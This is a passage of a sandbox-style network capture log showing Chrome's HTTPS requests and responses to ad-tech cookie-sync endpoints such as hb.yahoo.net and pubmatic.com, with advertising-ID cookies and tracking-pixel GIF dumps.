2024-01-10 23:27:28 UTC	1283	OUT	GET /cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63
2024-01-10 23:27:28 UTC	679	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1;Expires=Wed, 24 Jan 2024 23:27:28 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:28 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.4	50451	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1218	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=con&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=AAAHl1xS8mtEBQMjNkpRAAAAAAA&expiration=1705015638&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:28 UTC	636	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8;Expires=Wed, 08 Jan 2025 23:27:28 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:28 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.4	50442	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1320	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=opx&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=50996944-41eb-0a14-2f16-7629f8e9c8fd HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63
2024-01-10 23:27:28 UTC	679	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1;Expires=Mon, 08 Jul 2024 23:27:28 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:28 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.4	50441	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1344	OUT	GET /cksync.php?gpp=&gpp_sid=&gpp=&gpp_sid=&cs=1&vsid=3479308310180275000V10&type=idx&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63
2024-01-10 23:27:28 UTC	675	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1;Expires=Sat, 24 Feb 2024 23:27:28 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:28 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.4	50453	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	3683	OUT	GET /AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:849a4113-d09c-4482-ae21-8f29dfa74f3d&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:28 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.4	50454	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	3662	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=7455955347164126958 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:28 UTC	646	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:27 GMT; path=/ Set-Cookie: PugT=1704929247; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:27 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.4	50455	34.231.250.139	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	897	OUT	GET /pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=40f09b66-e671-4da3-b991-c14247c4cce6; ss=lQS0Fm%2FE261Zvys8Dq5GTz0HaMv6FzJdkQFw0eyai0gcZuf%2BnVKFQET27F%2BnkI%2BAcgLKB0TJyWvX9fHRum5rvg%3D%3D
2024-01-10 23:27:28 UTC	446	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif Content-Length: 42 Connection: close Server: Kestrel Set-Cookie: UID=40f09b66-e671-4da3-b991-c14247c4cce6; expires=Fri, 10 Jan 2025 23:27:28 GMT; path=/; secure; samesite=none Set-Cookie: ss=P74MsbKBHuTn6GqknSl62g3DBF2VauQuS%2FVwDdPDQ9fm8Qpigwt7y0eC%2BHQEdAa54bz7flfMoVUOYW%2FLUBuSOw%3D%3D; expires=Fri, 10 Jan 2025 23:27:28 GMT; path=/; secure; samesite=none
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.4	50445	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1316	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=ayl&refUrl=&vid=49292349683479308310180275000V10&ovsid=80df0390ac1a08301112e6851cc561f4&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63
